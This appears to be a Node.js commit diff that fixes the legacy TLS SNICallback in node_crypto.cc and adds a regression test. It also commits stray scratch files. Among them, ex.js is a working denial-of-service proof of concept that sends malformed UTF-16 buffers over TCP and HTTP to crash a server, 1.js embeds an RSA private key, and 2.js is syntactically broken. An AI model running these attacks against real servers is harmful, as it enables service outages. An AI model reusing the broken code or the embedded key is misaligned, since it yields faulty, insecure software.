crypto: fix legacy SNICallback

`onselect` is set on the `sniObject_` not on the `Connection` instance.

See: nodejs/node-v0.x-archive#25109
PR-URL: #1720
Reviewed-By: Ben Noordhuis <[email protected]>

Author: indutny

1.js

@@ -0,0 +1,27 @@
+'use strict';
+
+var options = {
+  key: "-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDN9WSJABq8qOoQSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR\n1ap8kwCCmtuWsaEctxG2xxs7l0w4BlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ\n/RxWGNg3/3yF53g7tIAsAMk7h1d8CaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQAB\nAoGAI376f74b3Y4DISGilmbTbqcPHvk/oVzo1uk0vPNJHLKMtDQzUduQUX4IZXoJ\nBHTCvq8yh1zTbbbKtRErT51B7kxNOVHefzCiibZNFlrk9ATanAbmBoCat5DMkw3I\nPqCnQ1gDyZjuj+P5IVYHOezIn1/5nInw7f4akhCGHU32MfUCQQDU1vI7rvVxkFPP\nI/dnEnggG5JYmufxZzlskiBrowEOaZIfvcgTUT5VhRuSakE+FBDGh1oyRUyDDhlP\nVBsZwjh/AkEA97k7hUyUB3erEccUyLLGPHzsxXc711Lsf5NQkljXThntTCkjnGpZ\nSulOgvuko4sFSuRgzm1r0DeAA6AS53CeuwJBAKTobgLkSnPVGbqS6WvJGZ32/ur8\nCt411n5Ssh/zyiu6jGdfihe9iQiF+5j0DtzkeyL3WGE+5EterymRxvWsUE0CQQCx\nKgJNZOUBKi5oOm680k4/+EAFQS7E4gNNgfe/klX4/0XckBdtyAkwMAb8Wif25nfU\nhdxOBadzdB3TeenLJ5n9AkA+gAl04OMKdURMtlNewEAbHDO02raUQ2Ui4Bl2PKfh\nHZ9EBnruiJTxDYjxoLBcJ8MzIvzL9MfUXAlcfw07BPI4\n-----END RSA PRIVATE KEY-----",
+  cert: "-----BEGIN CERTIFICATE-----\nMIIBtDCCAR+gAwIBAgIDAQABMAsGCSqGSIb3DQEBCzAUMRIwEAYDVQQDFgl0ZXN0\nLnRlc3QwHhcNNjkwMTAxMDAwMDAwWhcNMjUwNzE1MDMwMTM1WjAUMRIwEAYDVQQD\nFgl0ZXN0LnRlc3QwgZ0wCwYJKoZIhvcNAQEBA4GNADCBiQKBgQDN9WSJABq8qOoQ\nSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR1ap8kwCCmtuWsaEctxG2xxs7l0w4\nBlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ/RxWGNg3/3yF53g7tIAsAMk7h1d8\nCaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQABoxowGDAWBgNVHREEDzANggsqLnRl\nc3QudGVzdDALBgkqhkiG9w0BAQsDgYEAvKZ+uTM0kZAYBZg+wwTLZwzW3LSyeVFA\nQgxVPmXpNSfvFvBsPrHLbtGsqbDw9Yx+l6XWl9iAqW7FR3nJseKRzJYnlnvIO56g\nr7Pz4K308QJKSNIT4Cm54mxO1ZLaVdpumtoTxncplAJgUC/MZqvFK5ig8tvDGMCe\nHOtVT2sWjMQ=\n-----END CERTIFICATE-----"
+};
+
+var Https = require('https');
+var Fs = require('fs');
+var C = require('constants');
+
+var server = Https.createServer({
+    secureOptions: C.SSL_OP_NO_TICKET,
+    cert: options.cert,
+    key: options.key
+}, function (req, res) {
+    res.writeHead(200);
+    res.end("hello world\n");
+});
+
+server.on('resumeSession', function (id, callback) {
+    console.log('resume requested');
+    callback();
+});
+
+server.listen(8000);
+

2.js

@@ -0,0 +1,8 @@
+var tls = require('tls');
+
+tls.connect({
+  port: 1443
+}
+  console.log(c.servername);
+  c.destroy();
+}).listen(1443);

ex.js

@@ -0,0 +1,86 @@
+'use strict';
+
+var http = require('http');
+var net = require('net');
+var LEN = 1024 * 64;
+var PORT = 8123;
+var log = process._rawDebug;
+
+
+///// BASIC ATTACK /////
+
+/**
+ * This sample code demonstrates the simplest way to reproduce the issue.
+ */
+var b = Buffer(LEN);
+b.fill('\ud834\udc1e');
+b = b.slice(0, LEN - 3);
+b.toString();
+
+
+
+///// TCP ATTACK /////
+
+/**
+ * This demonstrates exploiting packet size to force a malformed UTF-16
+ * character throw to be turned to a string by the unexpecting victim.
+ */
+var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);
+
+net.createServer(function(c) {
+  c.on('data', function(chunk) {
+    chunk.toString();
+    this.end();
+  });
+}).listen(8123, function(e) {
+  if (e) throw e;
+  startClient();
+});
+
+function startClient() {
+  net.connect(PORT, function() {
+    log('client connected');
+    this.write(b);
+    this.end();
+  }).on('end', function() {
+    setImmediate(startClient);
+  });
+}
+
+
+
+///// HTTP ATTACK /////
+
+/**
+ * This shows an attack vector that could be used to bring down an HTTP server.
+ * Though because of implementation details, it requires explicit action by the
+ * implementor.
+ *
+ * Fortunately a perf improvement I recommended to Isaac a while back (1f9f863)
+ * helps guard against this attack on http, but doesn't prevent it if the user
+ * takes explicit action.
+ */
+var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);
+var cH = 'GET / HTTP/1.1\r\n' +
+         'User-Agent: '
+
+b.write(cH);
+b.write('\r\n\r\n', b.length - 4);
+
+http.createServer(function(req, res) {
+  log('connection received');
+  Buffer(req.headers['user-agent'], 'binary').toString('utf8');
+  res.end();
+}).listen(PORT, function(e) {
+  if (e) throw e;
+  startClient();
+});
+
+function startClient() {
+  net.connect(PORT, function() {
+    this.write(b);
+    this.end();
+  }).on('end', function() {
+    setImmediate(startClient);
+  }).on('data', function() { });
+}

npm-debug.log

@@ -0,0 +1,21 @@
+0 info it worked if it ends with ok
+1 verbose cli [ '/Users/indutny/.iojs/2.2.1/bin/iojs',
+1 verbose cli   '/Users/indutny/.iojs/2.2.1/bin/npm',
+1 verbose cli   'test' ]
+2 info using [email protected]
+3 info using [email protected]
+4 verbose stack Error: ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
+4 verbose stack     at Error (native)
+5 verbose cwd /Users/indutny/Code/indutny/node
+6 error Darwin 14.3.0
+7 error argv "/Users/indutny/.iojs/2.2.1/bin/iojs" "/Users/indutny/.iojs/2.2.1/bin/npm" "test"
+8 error node v2.2.1
+9 error npm  v2.11.0
+10 error path /Users/indutny/Code/indutny/node/package.json
+11 error code ENOENT
+12 error errno -2
+13 error syscall open
+14 error enoent ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
+14 error enoent This is most likely not a problem with npm itself
+14 error enoent and is related to npm not being able to find a file.
+15 verbose exit [ -2, true ]

src/node_crypto.cc

@@ -2346,8 +2346,15 @@ int Connection::SelectSNIContextCallback_(SSL *s, int *ad, void* arg) {
     if (!conn->sniObject_.IsEmpty()) {
       conn->sni_context_.Reset();
 
+      Local<Object> sni_obj = PersistentToLocal(env->isolate(),
+                                                conn->sniObject_);
+
       Local<Value> arg = PersistentToLocal(env->isolate(), conn->servername_);
-      Local<Value> ret = conn->MakeCallback(env->onselect_string(), 1, &arg);
+      Local<Value> ret = node::MakeCallback(env->isolate(),
+                                            sni_obj,
+                                            env->onselect_string(),
+                                            1,
+                                            &arg);
 
       // If ret is SecureContext
       Local<FunctionTemplate> secure_context_constructor_template =

test/parallel/test-tls-legacy-onselect.js

@@ -0,0 +1,45 @@
+'use strict';
+var common = require('../common');
+var assert = require('assert');
+
+if (!common.hasCrypto) {
+  console.log('1..0 # Skipped: missing crypto');
+  return;
+}
+var tls = require('tls');
+var net = require('net');
+
+var fs = require('fs');
+
+var success = false;
+
+function filenamePEM(n) {
+  return require('path').join(common.fixturesDir, 'keys', n + '.pem');
+}
+
+function loadPEM(n) {
+  return fs.readFileSync(filenamePEM(n));
+}
+
+var server = net.Server(function(raw) {
+  var pair = tls.createSecurePair(null, true, false, false);
+  pair.on('error', function() {});
+  pair.ssl.setSNICallback(function() {
+    raw.destroy();
+    server.close();
+    success = true;
+  });
+  require('_tls_legacy').pipe(pair, raw);
+}).listen(common.PORT, function() {
+  tls.connect({
+    port: common.PORT,
+    rejectUnauthorized: false,
+    servername: 'server'
+  }, function() {
+  }).on('error', function() {
+    // Just ignore
+  });
+});
+process.on('exit', function() {
+  assert(success);
+});